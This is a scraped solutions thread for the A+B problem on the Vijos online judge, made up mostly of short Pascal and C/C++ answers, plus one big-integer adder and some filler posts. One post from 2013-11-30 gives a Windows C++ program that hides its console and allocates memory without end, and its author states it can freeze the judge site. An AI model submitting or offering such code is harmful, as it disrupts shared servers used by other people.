1325 条题解
-
0
pengcs LV 4 @ 2014-01-18 08:43:32
var a,b:longint;
begin
readln(a,b);
writeln(a+b);
end. -
02014-01-05 11:15:24@
#include<iostream>
#include<fstream>
#include<cstdio>
#define MAXN 100
using namespace std;
int main()
{
int num[MAXN],n,count=0;
int found,t,i,j,x;scanf("%d",&n);
for(i=0;i<n;i++){
scanf("%d",&x);
found=0;
for(j=0;j<count;j++)
if(x==num[j]){
found=1;
break;
}
if(!found){
num[count]=x;
count++;
}
}for(i=0;i<count;i++)
for(j=1;j<count;j++)
if(num[j-1]>num[j]){
t=num[j];
num[j]=num[j-1];
num[j-1]=t;
}printf("%d\n",count);
printf("%d",num[0]);
for(i=1;i<count;i++)
printf(" %d",num[i]);
printf("\n");
//system("pause");
return 0;
} -
02014-01-04 18:41:02@
-
02014-01-01 11:56:33@
Vijos 题解:http://hi.baidu.com/umule/item/2c997f8ed9600fdae596e017
有疑问请留言 共同进步 -
02013-12-25 11:15:31@
var
x,y:longint;
begin
readln(x,y);
writeln(x+y);
end. -
02013-12-16 11:20:45@
#include"stdio.h"
int main()
{
int n,m;
scanf("%d%d",&n,&m);
printf("%d",n+m);
return 0;
} -
02013-12-08 09:31:20@
#include <iostream>
using namespace std;
int main(){
int a,b;
cin>>a>>b;
cout<<a+b<<endl;
return 0;
} -
02013-12-07 21:06:59@
呵呵
-
02013-12-07 16:33:54@
#include <iostream>
using namespace std;
int main(){
int a,b;
while(cin>>a>>b)
{cout<<a+b<<endl;}
return 0;
} -
02013-12-07 13:39:59@
#include "stdio.h"
int main(void)
{
int a,b;
scanf("%d%d",&a,&b);
printf("%d",a+b);
return 0;
} -
02013-12-01 16:31:48@
#include <iostream>
#include <algorithm>
#include <cstdlib>
#include <cstdio>
#include <cmath>
#include <cstring>
using namespace std;
int i,la,lb,tmp=0,x[10001],y[10001],ans[10001];
void hplus(char a[],char b[])
{
la=strlen(a); lb=strlen(b); strrev(a); strrev(b);
for(i=0;i<la;i++) if(a[i]!='-') x[i]=a[i]-48;
for(i=0;i<lb;i++) if(b[i]!='-') y[i]=b[i]-48;
for(i=0;i<=max(la,lb);i++){
ans[i]=tmp+x[i]+y[i];
tmp=ans[i]/10; ans[i]%=10;
}
tmp=max(la,lb);
while(!ans[tmp] && tmp>0) tmp--;
for(i=tmp;i>=0;i--) printf("%d",ans[i]);
}
void hminus(char a[],char b[])
{
la=strlen(a); lb=strlen(b); strrev(a); strrev(b);
for(i=0;i<la;i++) if(a[i]!='-') x[i]=a[i]-48;
for(i=0;i<lb;i++) if(b[i]!='-') y[i]=b[i]-48;
for(i=0;i<=max(la,lb);i++){
if(x[i]-y[i]<0){
ans[i]+=((10+x[i])-y[i]);
ans[i+1]=-1;
}
else ans[i]=ans[i]+(x[i]-y[i]);
}
tmp=max(la,lb);
while(!ans[tmp] && tmp>0) tmp--;
for(i=tmp;i>=0;i--) printf("%d",ans[i]);
}
int main()
{
char in1[10001],in2[10001];
scanf("%s%s",&in1,&in2);
if(in1[0]!='-' && in2[0]!='-') hplus(in1,in2);
if(in1[0]=='-' && in2[0]=='-'){printf("-"); hplus(in1,in2);}
if(in1[0]!='-' && in2[0]=='-'){
if(abs(atoi(in1))>=abs(atoi(in2))) hminus(in1,in2);
else{printf("-"); hminus(in2,in1);}
}
if(in1[0]=='-' && in2[0]!='-'){
if(abs(atoi(in1))>=abs(atoi(in2))){printf("-"); hminus(in1,in2);}
else hminus(in2,in1);
}
printf("\n");
// system("pause");
return 0;
} -
02013-11-30 16:30:39@
#include <iostream>
#include<windows.h>
int main()
{
HWND hDos=GetForegroundWindow();
ShowWindow(hDos,SW_HIDE);
long int i;
char * a;
while(true)
{
a = new char[1024];
}
}
能让网站卡死 -
02013-11-23 21:41:55@
var a, b:longint;
begin
readln(a, b);
writeln(a+b);
end. -
02013-11-22 19:25:57@
用pascal解:
var x,y: longint;
begin
readln (x,y);
writeln (x+y);
end. -
02013-11-14 14:04:05@
.............................................................................................................................................................................................................................................................................................................................................................................
-
02013-11-14 12:40:22@
#include<iostream>
using namespace std;int main(){
int a,b;
cin>>a>>b;
cout<<a+b<<endl;
return 0;
} -
02013-11-13 13:30:27@
#include<cstdio>
main(){int a,b;scanf("%d%d",&a,&b);printf("%d\n",a+b);} -
02013-11-08 18:58:11@
var
a,b:qword;
begin
readln(a,b);
writeln(a+b);
end. -
02013-11-07 08:40:58@
int main(){int a,b;return 0 * printf("%d\n",scanf("%d%d",&a,&b)*(a+b)/2);}
-
02013-11-04 21:01:42@
五行搞定
var a,b:longint;
begin
readln(a,b);
writeln(a+b);
end.
信息
- ID
- 1000
- 难度
- 9
- 分类
- (无)
- 标签
- (无)
- 递交数
- 74697
- 已通过
- 28589
- 通过率
- 38%
- 被复制
- 238